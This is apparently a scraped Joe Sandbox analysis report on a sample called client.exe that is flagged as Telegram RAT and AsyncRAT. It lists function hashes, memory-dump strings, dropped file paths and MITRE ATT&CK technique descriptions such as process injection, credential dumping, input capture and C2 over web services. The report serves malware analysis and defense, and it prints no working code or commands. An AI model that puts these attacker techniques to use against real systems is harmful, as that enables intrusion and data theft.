Opcode Fuzzy Hash: 3f6208ab3203b5070e42cedb63c49aa565679dcb5ab57dcfc07c7732f31d6269
Instruction Fuzzy Hash: 09310B71D046459FD718DF6BE91870BBFE7ABC9324F18C1ADC41A8B26CEB7006458B45

Function 02FB0668 Relevance: 7.6, Strings: 6, Instructions: 95COMMON

Download Yara Rule

Strings

p, xrefs: 02FB06A2
p, xrefs: 02FB0682
p, xrefs: 02FB06F2
p, xrefs: 02FB0702
p, xrefs: 02FB06B2
p, xrefs: 02FB0712

Memory Dump Source

Source File: 00000000.00000002.4492234733.0000000002FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2fb0000_client.jbxd

Similarity

API ID:
String ID: p$p$p$p$p$p
API String ID: 0-222779563
Opcode ID: 1d820aaba0a789d958c51633533e2543647797dbd35f8f2d72dc5d1a74cd4750
Instruction ID: 7abc5827ddfec6659e4c4717cfab716e02b7a99f3065ee50a3024a2b52c6a0a5
Opcode Fuzzy Hash: 1d820aaba0a789d958c51633533e2543647797dbd35f8f2d72dc5d1a74cd4750
Instruction Fuzzy Hash: D021655690E3E1AFD3074238ACA56D67F659F671D8F0A01D7C8D5CF1B3E908181A87A2

Function 02FBFA9C Relevance: 6.5, Strings: 5, Instructions: 218COMMON

Download Yara Rule

Strings

0oFp, xrefs: 02FBFAE0
LjFp, xrefs: 02FBFB61
LjFp, xrefs: 02FBFB55
DqFp, xrefs: 02FBFAEC
PHeq, xrefs: 02FBFD3E

Memory Dump Source

Source File: 00000000.00000002.4492234733.0000000002FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2fb0000_client.jbxd

Similarity

API ID:
String ID: 0oFp$DqFp$LjFp$LjFp$PHeq
API String ID: 0-3788798133
Opcode ID: 4081474876d24b7ee271a32cf1e54e218b39611a9a9d7c9485f06b25e0f451f8
Instruction ID: 76e1f6d7599245d991eb2c2d1bdce0e3e3aac9f69c3f9a46c6aba3b1701dfd71
Opcode Fuzzy Hash: 4081474876d24b7ee271a32cf1e54e218b39611a9a9d7c9485f06b25e0f451f8
Instruction Fuzzy Hash: 5B818A35B002048FCB45EB39D958AAD77F6EF88650F2581A9E906DB3A5EB30EC45CB50

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report client.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: AsyncRAT

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Stealing of Sensitive Information

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\94e884cab2fe2cdec991890a0fb26bbb\msgid.dat

C:\Users\user\AppData\Local\Temp\places.raw

C:\Users\user\AppData\Local\Temp\tmpD3B1.tmp.dat

C:\Users\user\AppData\Local\Temp\tmpD3D1.tmp.dat

C:\Users\user\AppData\Local\Temp\tmpD3E2.tmp.dat

C:\Users\user\AppData\Local\Temp\tmpD3F2.tmp.dat

C:\Users\user\AppData\Local\Temp\tmpD3F3.tmp.dat

C:\Users\user\AppData\Local\Temp\tmpD414.tmp.dat

C:\Users\user\AppData\Local\Temp\tmpD424.tmp.dat

Windows Analysis Report
client.exe

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.
Tactics:	Impact
Data Sources:	Cloud Storage: Cloud Storage Modification, Command: Command Execution, File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre